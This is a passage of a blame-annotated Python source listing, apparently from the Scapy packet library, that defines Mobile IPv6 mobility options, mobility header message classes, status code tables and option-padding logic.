2723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 4 ; y = 1 # alignment requirement: 4n+1
2724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Extracted from RFC 1305 (NTP) :
27260d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# NTP timestamps are represented as a 64-bit unsigned fixed-point number,
27270d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# in seconds relative to 0h on 1 January 1900. The integer part is in the
2728c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# first 32 bits and the fraction part in the last 32 bits.
2729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NTPTimestampField(LongField):
2730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x < ((50*31536000)<<32):
2732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "Some date a few decades ago (%d)" % x
2733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
27340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to
2735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # January 1st 1970 :
2736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        delta = -2209075761
2737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        i = int(x >> 32)
2738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        j = float(x & 0xffffffff) * 2.0**-32
2739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res = i + j + delta
27400aeb049606bee9335e62afea58479915bd6e2344Pierre LALET        t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res))
2741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%s (%d)" % (t, x)
2743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6)
2745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Replay Protection"
2746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 10, _mobopttypes),
2747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 8),
2748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NTPTimestampField("timestamp", 0) ]
2749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
2750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6)
2752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters Request"
2753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 11, _mobopttypes),
2754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX TODO: deal with CGA param fragmentation and build of defragmented
27580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# XXX       version. Passing of a big CGAParam structure should be
2759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX       simplified. Make it hold packets, by the way  --arno
2760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1)
2761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters"
2762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 12, _mobopttypes),
2763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cgaparams", fmt="B"),
2764c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("cgaparams", "",
2765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2)
2769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Signature"
2770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 13, _mobopttypes),
2771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="sig", fmt="B"),
2772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("sig", "",
2773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3)
2777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Home Keygen Token"
2778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 14, _mobopttypes),
2779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="hkt", fmt="B"),
2780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("hkt", "",
2781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2784c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4)
2785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test Init"
2786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 15, _mobopttypes),
2787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5)
2791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test"
2792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 16, _mobopttypes),
2793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cokt", fmt="B"),
27942a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("cokt", b'\x00'*8,
2795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptUnknown(_MIP6OptAlign, Packet):
2799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Scapy6 - Unknown Mobility Option'
2800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
2801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="odata", fmt="B"),
2802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("odata", "",
2803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmoboptcls = {  0: Pad1,
2807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: PadN,
2808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               2: MIP6OptBRAdvice,
2809c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               3: MIP6OptAltCoA,
2810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: MIP6OptNonceIndices,
2811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               5: MIP6OptBindingAuthData,
2812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: MIP6OptMobNetPrefix,
2813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               7: MIP6OptLLAddr,
28140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               8: MIP6OptMNID,
2815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               9: MIP6OptMsgAuth,
2816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              10: MIP6OptReplayProtection,
2817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              11: MIP6OptCGAParamsReq,
2818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              12: MIP6OptCGAParams,
2819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              13: MIP6OptSignature,
2820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              14: MIP6OptHomeKeygenToken,
2821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              15: MIP6OptCareOfTestInit,
2822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              16: MIP6OptCareOfTest }
2823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Main Mobile IPv6 Classes
2826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmhtypes = {  0: 'BRR',
2828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             1: 'HoTI',
2829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             2: 'CoTI',
2830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             3: 'HoT',
2831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             4: 'CoT',
2832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             5: 'BU',
2833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             6: 'BA',
2834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             7: 'BE',
2835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             8: 'Fast BU',
2836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             9: 'Fast BA',
2837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            10: 'Fast NA' }
2838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
28390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# From http://www.iana.org/assignments/mobility-parameters
2840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbastatus = {   0: 'Binding Update accepted',
2841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: 'Accepted but prefix discovery necessary',
2842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128: 'Reason unspecified',
2843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129: 'Administratively prohibited',
2844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130: 'Insufficient resources',
2845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             131: 'Home registration not supported',
2846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             132: 'Not home subnet',
2847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             133: 'Not home agent for this mobile node',
2848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             134: 'Duplicate Address Detection failed',
2849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             135: 'Sequence number out of window',
2850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             136: 'Expired home nonce index',
2851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             137: 'Expired care-of nonce index',
2852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             138: 'Expired nonces',
2853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             139: 'Registration type change disallowed',
2854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             140: 'Mobile Router Operation not permitted',
2855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             141: 'Invalid Prefix',
2856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             142: 'Not Authorized for Prefix',
2857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             143: 'Forwarding Setup failed (prefixes missing)',
2858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             144: 'MIPV6-ID-MISMATCH',
2859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             145: 'MIPV6-MESG-ID-REQD',
2860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             146: 'MIPV6-AUTH-FAIL',
2861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             147: 'Permanent home keygen token unavailable',
2862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             148: 'CGA and signature verification failed',
2863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             149: 'Permanent home keygen token exists',
2864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             150: 'Non-null home nonce index expected' }
2865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityHeader(Packet):
2868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Dummy IPv6 Mobility Header'
2869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
2870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
2872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p += pay
2873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.len
2874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.len is None:
287563ae11708b02df74dd3e8d2385d2829f3d622d66gpotter            l = (len(p)-8)//8
2876b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        p = chb(p[0]) + struct.pack("B", l) + chb(p[2:])
2877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.cksum is None:
2878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = in6_chksum(135, self.underlayer, p)
2879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = self.cksum
28815e8857410015a93f6371459b2f870432ded39b9fgpotter        p = chb(p[:4])+struct.pack("!H", cksum)+chb(p[6:])
2882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
2883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg
2886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Generic Message"
2887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
2889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", None, mhtypes),
2890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
28922a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("msg", b"\x00"*2,
2893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*pkt.len-6) ]
2894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
28960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: make a generic _OptionsField
2898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityOptionsField(PacketListField):
2899b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
2900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
2901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
2902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
29030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
2906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],self.m2i(pkt, s[:l])
2907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
2909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
2910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2911c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
2912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
2913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
2914b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            o = orb(x[0]) # Option type
2915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
2916d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if o in moboptcls:
2917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = moboptcls[o]
2918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
2919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
2920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
2921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
2922c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
29237b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
2924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
2925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
2926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
29275e8857410015a93f6371459b2f870432ded39b9fgpotter                x = b""
2928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return opt
2929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
2932c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
2933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
2934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
29360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
29381186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"".join(map(str, x))
2939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
29411186356a1d73fd59b700d8af05e789d0e8899de6gpotter        s = b""
2942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
2943c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
2944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
2945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
29465e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(Pad1())
2947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
29485e8857410015a93f6371459b2f870432ded39b9fgpotter                s += raw(PadN(optdata=b'\x00'*(d-2)))
29495e8857410015a93f6371459b2f870432ded39b9fgpotter            pstr = raw(p)
2950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
2951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
29520d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2953c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
2954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
2955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
2956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
2957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
2958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
2959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
29605e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(Pad1())
2961c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
29625e8857410015a93f6371459b2f870432ded39b9fgpotter            s += raw(PadN(optdata=b'\x00'*(d-2)))
2963c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
2965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
2968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BRR(_MobilityHeader):
2970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Refresh Request"
2971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 0, mhtypes),
2974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
29760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField("res2", None),
2977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 8,
2979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len) ]
2980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
29810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def hashret(self):
2982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Hack: BRR, BU and BA have the same hashret that returns the same
29832a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        #       value b"\x00\x08\x09" (concatenation of mhtypes). This is
2984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #       because we need match BA with BU and BU with BRR. --arno
29852a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
2986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoTI(_MobilityHeader):
2988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test Init"
2989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 1, mhtypes),
2992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
29930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
29942a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("reserved", b"\x00"*2, 2),
29952a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
2996c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 16,
2998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-1)) ]
2999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
3000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
3001d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        return raw(self.cookie)
3002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoTI(MIP6MH_HoTI):
3004c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test Init"
3005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 2
3006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
30072bc05da394cc74cc295ac5bba8642f7552bdeb89gpotter        return raw(self.cookie)
3008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoT(_MobilityHeader):
3010c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test"
3011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
30130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 3, mhtypes),
3014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
30150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
3016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("index", None),
30172a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
